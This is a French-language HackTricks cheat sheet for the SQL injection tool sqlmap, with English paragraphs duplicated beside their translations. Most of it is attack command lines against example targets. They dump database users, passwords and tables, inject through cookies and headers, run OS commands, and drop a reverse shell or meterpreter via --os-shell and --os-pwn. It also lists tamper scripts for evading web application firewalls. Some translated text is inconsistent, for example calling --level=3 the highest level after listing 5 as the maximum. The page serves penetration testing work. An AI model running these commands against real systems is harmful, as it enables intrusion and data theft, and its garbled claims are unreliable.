hacktricks/pentesting-web/sql-injection/sqlmap.md
2023-06-03 13:10:46 +00:00

16 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Arguments de base pour SQLmap

Générique

-u "<URL>" 
-p "<PARAM TO TEST>" 
--user-agent=SQLMAP 
--random-agent 
--threads=10 
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>" 
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Récupérer des informations

Interne

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

Données de la base de données

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Emplacement de l'injection

À partir de la capture Burp/ZAP

Capturez la requête et créez un fichier req.txt.

sqlmap -r req.txt --current-user

Injection de requête GET

Basic Usage

Utilisation de base

sqlmap -u "http://www.target.com/vuln.php?id=1" --dbms=mysql --level=5 --risk=3 --batch --threads=5

Description

Description

L'injection de requête GET est une technique d'injection SQL qui exploite les vulnérabilités des paramètres de requête GET d'une application Web. Cette technique est similaire à l'injection de requête POST, mais elle cible les paramètres de requête GET.

Lorsqu'un utilisateur soumet une requête GET, les paramètres de la requête sont inclus dans l'URL. Par exemple, dans l'URL suivante :

http://www.example.com/search.php?query=example

Le paramètre de requête est query et sa valeur est example.

L'injection de requête GET peut être utilisée pour extraire des informations sensibles de la base de données de l'application Web, telles que des noms d'utilisateur, des mots de passe et des données personnelles. Elle peut également être utilisée pour modifier les données de la base de données ou pour exécuter des commandes à distance sur le serveur.

Exemple

Considérons l'URL suivante :

http://www.example.com/vuln.php?id=1

Nous pouvons utiliser sqlmap pour tester si le paramètre id est vulnérable à une injection de requête GET :

sqlmap -u "http://www.example.com/vuln.php?id=1" --dbms=mysql --level=5 --risk=3 --batch --threads=5

Si le paramètre id est vulnérable, sqlmap affichera les informations de la base de données et les données sensibles qu'il a pu extraire.

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Injection de requête POST


Basic POST Request Injection

Injection de requête POST basique


Example

Exemple

POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

username=admin&password=1234

SQLMap Command

Commande SQLMap

sqlmap -u "http://example.com/login" --data "username=admin&password=1234" --method POST

Explanation

Explication

In a POST request, the parameters are sent in the body of the request, instead of in the URL. To perform a POST request injection, we need to use the --data option in SQLMap to specify the parameters that we want to inject.

Dans une requête POST, les paramètres sont envoyés dans le corps de la requête, plutôt que dans l'URL. Pour effectuer une injection de requête POST, nous devons utiliser l'option --data dans SQLMap pour spécifier les paramètres que nous voulons injecter.


Additional Options

Options supplémentaires

  • --method: specifies the HTTP method to use (default is GET)

  • --cookie: specifies the cookie to use for authentication

  • --proxy: specifies the proxy to use for requests

  • --method: spécifie la méthode HTTP à utiliser (par défaut, c'est GET)

  • --cookie: spécifie le cookie à utiliser pour l'authentification

  • --proxy: spécifie le proxy à utiliser pour les requêtes

sqlmap -u "http://example.com" --data "username=*&password=*"

Injections dans les en-têtes et autres méthodes HTTP

Injection in Headers

Injection dans les en-têtes

Headers can also be vulnerable to injection attacks, especially when they are used to transmit sensitive information such as authentication tokens or session IDs. In some cases, headers can also be used to bypass security controls or to perform other malicious actions.

Les en-têtes peuvent également être vulnérables aux attaques d'injection, en particulier lorsqu'ils sont utilisés pour transmettre des informations sensibles telles que des jetons d'authentification ou des identifiants de session. Dans certains cas, les en-têtes peuvent également être utilisés pour contourner les contrôles de sécurité ou pour effectuer d'autres actions malveillantes.

To test for injection vulnerabilities in headers, you can use the --headers option in sqlmap. This option allows you to specify custom headers to be sent with the request, which can be used to inject payloads into the headers.

Pour tester les vulnérabilités d'injection dans les en-têtes, vous pouvez utiliser l'option --headers dans sqlmap. Cette option vous permet de spécifier des en-têtes personnalisés à envoyer avec la requête, ce qui peut être utilisé pour injecter des charges utiles dans les en-têtes.

For example, the following command tests for injection vulnerabilities in the Authorization header:

Par exemple, la commande suivante teste les vulnérabilités d'injection dans l'en-tête Authorization :

sqlmap -r request.txt --headers="Authorization: <injection_payload>"

Injection in other HTTP Methods

Injection dans d'autres méthodes HTTP

In addition to GET and POST requests, other HTTP methods such as PUT, DELETE, and OPTIONS can also be vulnerable to injection attacks. These methods are often used in REST APIs to create, update, or delete resources.

En plus des requêtes GET et POST, d'autres méthodes HTTP telles que PUT, DELETE et OPTIONS peuvent également être vulnérables aux attaques d'injection. Ces méthodes sont souvent utilisées dans les API REST pour créer, mettre à jour ou supprimer des ressources.

To test for injection vulnerabilities in these methods, you can use the --method option in sqlmap. This option allows you to specify the HTTP method to be used in the request.

Pour tester les vulnérabilités d'injection dans ces méthodes, vous pouvez utiliser l'option --method dans sqlmap. Cette option vous permet de spécifier la méthode HTTP à utiliser dans la requête.

For example, the following command tests for injection vulnerabilities in a PUT request:

Par exemple, la commande suivante teste les vulnérabilités d'injection dans une requête PUT :

sqlmap -r request.txt --method=PUT
#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Injection de second ordre

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

Coquille

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Parcourir un site web avec SQLmap et auto-exploiter

SQLmap est un outil puissant pour l'exploitation de vulnérabilités de type injection SQL. Il peut être utilisé pour parcourir un site web à la recherche de vulnérabilités et les exploiter automatiquement.

Pour parcourir un site web avec SQLmap, vous pouvez utiliser la commande suivante :

sqlmap -u <URL> --crawl=1

Cela permettra à SQLmap de parcourir le site web et de collecter des informations sur les paramètres de l'URL et les formulaires. Si SQLmap détecte une vulnérabilité d'injection SQL, il vous demandera si vous souhaitez l'exploiter automatiquement.

Il est important de noter que l'exploitation automatique peut être dangereuse car elle peut causer des dommages au site web. Il est recommandé d'utiliser l'option --level pour spécifier le niveau de risque que vous êtes prêt à prendre. Par exemple, --level=3 est le niveau de risque le plus élevé et peut causer des dommages importants au site web.

En utilisant SQLmap avec précaution, vous pouvez parcourir un site web à la recherche de vulnérabilités d'injection SQL et les exploiter automatiquement pour obtenir des informations sensibles.

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Personnalisation de l'injection

Ajouter un suffixe

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Préfixe

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Aide pour trouver une injection booléenne

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Altération

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper Description
apostrophemask.py Remplace le caractère apostrophe par son homologue UTF-8 pleine largeur
apostrophenullencode.py Remplace le caractère apostrophe par son homologue double unicode illégal
appendnullbyte.py Ajoute un octet NULL encodé à la fin de la charge utile
base64encode.py Encode en base64 tous les caractères d'une charge utile donnée
between.py Remplace l'opérateur supérieur à '&gt;' par 'NOT BETWEEN 0 AND #'
bluecoat.py Remplace l'espace après l'instruction SQL par un caractère blanc aléatoire valide. Ensuite, remplace le caractère = par l'opérateur LIKE
chardoubleencode.py Encode en double URL tous les caractères d'une charge utile donnée sans traiter ceux déjà encodés
commalesslimit.py Remplace les occurrences telles que 'LIMIT M, N' par 'LIMIT N OFFSET M'
commalessmid.py Remplace les occurrences telles que 'MID(A, B, C)' par 'MID(A FROM B FOR C)'
concat2concatws.py Remplace les occurrences telles que 'CONCAT(A, B)' par 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py Encode en URL tous les caractères d'une charge utile donnée sans traiter ceux déjà encodés
charunicodeencode.py Encode en Unicode-URL les caractères non encodés d'une charge utile donnée sans traiter ceux déjà encodés. "%u0022"
charunicodeescape.py Encode en Unicode-URL les caractères non encodés d'une charge utile donnée sans traiter ceux déjà encodés. "\u0022"
equaltolike.py Remplace toutes les occurrences de l'opérateur égal '=' par l'opérateur 'LIKE'
escapequotes.py Échappe les guillemets ' and "
greatest.py Remplace l'opérateur supérieur à '&gt;' par son homologue GREATEST
halfversionedmorekeywords.py Ajoute un commentaire MySQL versionné avant chaque mot-clé
ifnull2ifisnull.py Remplace les occurrences telles que 'IFNULL(A, B)' par 'IF(ISNULL(A), B, A)'
modsecurityversioned.py Encadre la requête complète avec un commentaire versionné
modsecurityzeroversioned.py Encadre la requête complète avec un commentaire de version zéro
multiplespaces.py Ajoute plusieurs espaces autour des mots-clés SQL
nonrecursivereplacement.py Remplace les mots-clés SQL prédéfinis par des représentations adaptées au remplacement (par exemple, .replace("SELECT", "")) filtres
percentage.py Ajoute un signe de pourcentage '%' devant chaque caractère
overlongutf8.py Convertit tous les caractères d'une charge utile donnée sans traiter ceux déjà encodés
randomcase.py Remplace chaque caractère de mot-clé par une valeur de cas aléatoire
randomcomments.py Ajoute des commentaires aléatoires aux mots-clés SQL
securesphere.py Ajoute une chaîne spécialement conçue
sp_password.py Ajoute 'sp_password' à la fin de la charge utile pour l'obfuscation automatique des journaux DBMS
space2comment.py Remplace l'espace ' ' par des commentaires
space2dash.py Remplace l'espace ' ' par un commentaire de tiret '--' suivi d'une chaîne aléatoire et d'une nouvelle ligne '\n'
space2hash.py Remplace l'espace ' ' par un caractère dièse '\#' suivi d'une chaîne aléatoire et d'une nouvelle ligne '\n'
space2morehash.py Remplace l'espace ' ' par un caractère dièse '\#' suivi d'une chaîne aléatoire et d'une nouvelle ligne '\n'
space2mssqlblank.py Remplace l'espace ' ' par un caractère blanc aléatoire à partir d'un ensemble valide de caractères alternatifs
space2mssqlhash.py Remplace l'espace ' ' par un caractère dièse '\#' suivi d'une nouvelle ligne '\n'
space2mysqlblank.py Remplace l'espace ' ' par un caractère blanc aléatoire à partir d'un ensemble valide de caractères alternatifs
space2mysqldash.py Remplace l'espace ' ' par un commentaire de tiret '--' suivi d'une nouvelle ligne '\n'
space2plus.py Remplace l'espace ' ' par un signe plus '+'
space2randomblank.py Remplace l'espace ' ' par un caractère blanc aléatoire à partir d'un ensemble valide de caractères alternatifs
symboliclogical.py Remplace les opérateurs logiques AND et OR par leurs homologues symboliques (&& et
unionalltounion.py Remplace UNION ALL SELECT par UNION SELECT
unmagicquotes.py Remplace le caractère de citation ' par une combinaison multioctet %bf%27 avec un commentaire générique à la fin pour le faire fonctionner
uppercase.py Remplace chaque caractère de mot-clé par une valeur en majuscule 'INSERT'
varnish.py Ajoute un en-tête HTTP 'X-originating-IP'
versionedkeywords.py Encadre chaque mot-clé non fonctionnel avec un commentaire MySQL versionné
versionedmorekeywords.py Encadre chaque mot-clé avec un commentaire MySQL versionné
xforwardedfor.py Ajoute un faux en-tête HTTP 'X-Forwarded-For'